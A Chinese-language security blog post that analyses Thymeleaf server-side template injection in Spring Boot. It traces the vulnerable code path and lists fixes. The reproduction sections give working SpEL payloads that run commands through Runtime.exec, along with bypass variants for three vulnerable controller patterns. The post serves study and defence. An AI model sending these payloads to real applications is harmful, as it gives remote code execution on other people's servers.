Java安全之Thymeleaf SSTI分析

Java安全之Thymeleaf SSTI分析

寫在前面

文章首發://www.anquanke.com/post/id/254519

最近看了一遍Thymeleaf,藉此機會學習一下Thymeleaf的SSTI,調試的過程中發現了很多有意思的點,也學習到了一些payload的構造姿勢,簡單碼個文章記錄一下。

About Thymeleaf

Thymeleaf是SpringBoot中的一個模版引擎,個人認為有點類似於Python中的Jinja2,負責渲染前端頁面。

之前寫JavaWeb和SSM的時候,前端頁面可能會用JSP寫,但是因為之前項目都是war包部署,而SpringBoot都是jar包且內嵌tomcat,所以是不支持解析jsp文件的。但是如果是編寫純靜態的html就很不方便,那麼這時候就需要一個模版引擎類似於Jinja2可以通過表達式幫我們把動態的變量渲染到前端頁面,我們只需要寫一個template即可。這也就是到了SpringBoot為什麼官方推薦要使用Thymeleaf處理前端頁面了。

基礎知識

片段表達式

Thymeleaf中的表達式有好幾種

  • 變量表達式: ${...}
  • 選擇變量表達式: *{...}
  • 消息表達: #{...}
  • 鏈接 URL 表達式: @{...}
  • 片段表達式: ~{...}

而這次遇到的是片段表達式(FragmentExpression): ~{...},片段表達式可以用於引用公共的目標片段比如footer或者header

比如在/WEB-INF/templates/footer.html定義一個片段,名為copy。<div th:fragment="copy">

<!DOCTYPE html>

<html xmlns:th="//www.thymeleaf.org">

  <body>
  
    <div th:fragment="copy">
      &copy; 2011 The Good Thymes Virtual Grocery
    </div>
  
  </body>
  
</html>

在另一template中引用該片段<div th:insert="~{footer :: copy}"></div>

<body>

  ...

  <div th:insert="~{footer :: copy}"></div>
  
</body>

片段表達式語法:

  1. ~{templatename::selector},會在/WEB-INF/templates/目錄下尋找名為templatename的模版中定義的fragment,如上面的~{footer :: copy}
  2. ~{templatename},引用整個templatename模版文件作為fragment
  3. ~{::selector} 或 ~{this::selector},引用來自同一模版文件名為selectorfragmnt

其中selector可以是通過th:fragment定義的片段,也可以是類選擇器、ID選擇器等。

~{}片段表達式中出現::,則::後需要有值,也就是selector

預處理

語法:__${expression}__

官方文檔對其的解釋:

除了所有這些用於表達式處理的功能外,Thymeleaf 還具有預處理表達式的功能。

預處理是在正常表達式之前完成的表達式的執行,允許修改最終將執行的表達式。

預處理的表達式與普通表達式完全一樣,但被雙下劃線符號(如__${expression}__)包圍。

個人感覺這是出現SSTI最關鍵的一個地方,預處理也可以解析執行表達式,也就是說找到一個可以控制預處理表達式的地方,讓其解析執行我們的payload即可達到任意代碼執行

調試分析

前面也提到了是DispatcherServlet攔截請求並分發到Handler處理,那下斷點直接定位到DispatcherServlet#doDispatch方法(所有的request和response都會經過該方法)。

首先獲取到了Handler,之後進入doDispatch方法的實現,這裡重點注意下下面3個方法

1、ha.handle() ,獲取ModelAndView也就是Controller中的return值

2、applyDefaultViewName(),對當前ModelAndView做判斷,如果為null則進入defalutViewName部分處理,將URI path作為mav的值

3、processDispatchResult(),處理視圖並解析執行表達式以及拋出異常回顯部分處理

ha.handle

首先跟進mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal,繼續跟進

跳到invokeHandlerMethod方法。這裡就是使用Handler處理request並獲取ModelAndView了,繼續跟進

在/org/springframework/web/servlet/mvc/method/annotation/RequestMappingHandlerAdapter.class直接跟進到invokeAndHandle方法

這裡通過invokeForRequest函數,根據用戶輸入的url,調用相關的controller,並將其返回值returnValue,作為待查找的模板文件名,通過Thymeleaf模板引擎去查找,並返回給用戶。

重點是returnValue值是否為null,根據Controller寫法不同會導致returnValue的值存在null非null的情況。

上面Controller中return的字符串並根據前綴和後綴拼接起來,在templates目錄下尋找模版文件

例如下面的Thymeleaf默認配置類文件+Controller,Thymeleaf就會去找/templates/index.html

默認配置類文件org/springframework/boot/autoconfigure/thymeleaf/ThymeleafProperties.java

@ConfigurationProperties(prefix = "spring.thymeleaf")
public class ThymeleafProperties {

	private static final Charset DEFAULT_ENCODING = StandardCharsets.UTF_8;

	public static final String DEFAULT_PREFIX = "classpath:/templates/";

	public static final String DEFAULT_SUFFIX = ".html";

	/**
	 * Whether to check that the template exists before rendering it.
	 */
	private boolean checkTemplate = true;

	/**
	 * Whether to check that the templates location exists.
	 */
	private boolean checkTemplateLocation = true;

	/**
	 * Prefix that gets prepended to view names when building a URL.
	 */
	private String prefix = DEFAULT_PREFIX;

	/**
	 * Suffix that gets appended to view names when building a URL.
	 */
	private String suffix = DEFAULT_SUFFIX;

	/**
	 * Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum.
	 */
	private String mode = "HTML";

	/**
	 * Template files encoding.
	 */
	private Charset encoding = DEFAULT_ENCODING;

Controller

@Controller
public class IndexController {

    @RequestMapping("/index")
		public String test1(Model model){
    		model.addAttribute("msg","Hello,Thymeleaf");
   	 		
    		return "index";
	}
}

上面這種是returnValue不為null的情況。那如果Controller如下寫的話,returnValue的值就會為null

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}

applyDefaultViewName

如果ModelAndView值不為null則什麼也不做,否則如果defaultViewName存在值則會給ModelAndView賦值為defaultViewName,也就是將URI path作為視圖名稱(具體邏輯會在後面講)

processDispatchResult

獲取到ModelAndView值後會進入到processDispatchResult方法,第1個if會被跳過,跟進第2個if中的render方法

render方法中,首先會獲取mv對象的viewName,然後調用resolveViewName方法,resolveViewName方法最終會獲取最匹配的視圖解析器。

跟一下resolveViewName方法,這裡涉及到兩個方法:1、首先通過getCandidateViews篩選出resolveViewName方法返回值不為null的視圖解析器添加到candidateViews中; 2、之後通過getBestView拿到最適配的解析器,getBestView中的邏輯是優先返回在candidateViews存在重定向動作的view,如果都不存在則根據請求頭中的Accept字段的值與candidateViews的相關順序,並判斷是否兼容來返回最適配的View

getCandidateViews:

getBestView:

最終返回的是ThymeleafView之後ThymeleafView調用了render方法,繼續跟進

調用renderFragment

這裡是漏洞觸發的關鍵點之一,該方法在後面首先判斷viewTemplateName是否包含::,若包含則獲取解析器,調用parseExpression方法將viewTemplateName(也就是Controller中最後return的值)構造成片段表達式(~{})並解析執行,跟進parseExpression方法。

在org/thymeleaf/standard/expression/StandardExpressionParser.class中繼續調用parseExpression

最終在org/thymeleaf/standard/expression/StandardExpressionParser對我們表達式進行解析,首先在preprocess方法對表達式進行預處理(這裡只要表達式正確就已經執行了我們payload中的命令)並把結果存入preprocessedInput,可以看到此時預處理就已經執行了命令,之後再次調用parse對預處理的結果preprocessedInput進行第二次解析,而第二次解析時,需要語法正確也就是在Thymeleaf中,~{}::需要有值才可以獲得回顯,否則沒有回顯。

在org/thymeleaf/standard/expression/StandardExpressionPreprocessor#preprocess方法中,首先通過正則,將__xxxx__中間xxxx部分提取出來,調用execute執行

跟進execute最終調用org/thymeleaf/standard/expression/VariableExpression#executeVariableExpression使用SpEL執行表達式,觸發任意代碼執行。

漏洞復現

首先常見的一個payload就是lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x,通過__${}__::.x構造表達式會由Thymeleaf去執行

0x01 templatename

Payload:lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x,這裡因為最後return的值為user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome,無論我們payload如何構造最後都會拼接/welcome所以即使不加.x依然可以觸發命令執行

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

0x02 selector

Contorller :可控點變為了selector位置

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}

payload

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x

其實這裡也可以不需要.x::也可觸發命令執行

poc:

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20Calculator").getInputStream()).next()%7d__

關於回顯問題:在0x01與0x02payload注入點不同會導致有無回顯,也可以說是controller代碼給予我們的可控參數不同,

0x01中可控的是templatename,而0x02中可控的是selector,而這兩個地方的注入在最後拋出異常的時候找不到templatename是存在結果回顯的而找不到selector不存在結果回顯。

0x03 URI path

Controller

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}

payload

因為mav返回值為空,所以viewTemplateName會從uri中獲取,直接在{document}位置傳入payload即可

//localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x

0x03 構造回顯

這裡其實和0x01類似,templatename部分可控,沒回顯的原因在於defaultView中對URI path的處理,我們可以在最後加兩個.

poc

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..需要注意的是::必須放在後面,放在前面雖然可以執行命令,但是沒有回顯。

About .x

在0x03中payload最後是必須要.x,看一下為什麼,之前在applyDefaultViewName部分有提到defaultViewName這個值,因為mav返回值為空,所以viewTemplateName會從uri中獲取,我們看下是如何處理defaultViewName的,調試之後發現在getViewName方法中調用transformPath對URL中的path進行了處理

重點在於第3個if中stripFilenameExtension方法

/org/springframework/util/StringUtils#stripFilenameExtension該方法會對後綴做一個清除

如果我們傳入的payload沒有.x的話,例如//localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::最後會被處理成/doc/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a calculator").getInputStream())從而沒有了::無法進入預處理導致無法執行任意代碼。

所以這裡即使是在最後只加個.也是可以的,不一定必須是.x

其他姿勢

這裡列舉幾個比較新奇的思路,反射之類的就不列舉了,改一下表達式中的代碼即可。

0x01 :: 位置

除了上面利用.替換.x以外(ModelAndView為null,從URI中獲取viewname)在0x01中::的位置也不是固定的,這個看之前的代碼邏輯即可知曉,比如可以替換成下面的poc,將::放在最前面:

::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

0x02 POST方式

這個是在turn1tup師傅的文章中get的

POST /path HTTP/1.1
Host: localhost:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

0x03 省略__

當Controller如下配置時,可以省略__包裹

@RequestMapping("/path")
public String path2(@RequestParam String lang) {
    return lang; //template path is tainted
}

poc,也不局限於用${},用*{}也是可以的

GET /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: localhost:8090

關於這種方式可以參考://xz.aliyun.com/t/9826#toc-4

修復方案

0x01 配置 @ResponseBody 或者 @RestController

這樣 spring 框架就不會將其解析為視圖名,而是直接返回, 不再調用模板解析。

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
    return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

0x02 在返回值前面加上 “redirect:”

這樣不再由 Spring ThymeleafView來進行解析,而是由 RedirectView 來進行解析。

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //FP as redirects are not resolved as expressions
}

0x03 在方法參數中加上 HttpServletResponse 參數

由於controller的參數被設置為HttpServletResponse,Spring認為它已經處理了HTTP Response,因此不會發生視圖名稱解析。

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

結語

關於這個漏洞的話調試下來感覺很巧妙,有很多值得深入挖掘的點,但是個人感覺Thymeleaf平常更多的使用姿勢還是在於將變量渲染到前端頁面而不是類似於輸入模版名稱去動態返回模版文件,可能實戰遇到的並不會很多吧。再有就是在審計的時候有沒有一些可以快速定位到該缺陷的方法,待研究。如果真的遇到了,也沒必要過於糾結回顯,可以直接打內存馬。

Reference

//turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/

//xz.aliyun.com/t/9826#toc-4

//x2y.pw/2020/11/15/Thymeleaf-模板漏洞分析/

//github.com/veracode-research/spring-view-manipulation/

//www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html

//paper.seebug.org/1332/

//www.freebuf.com/articles/network/250026.html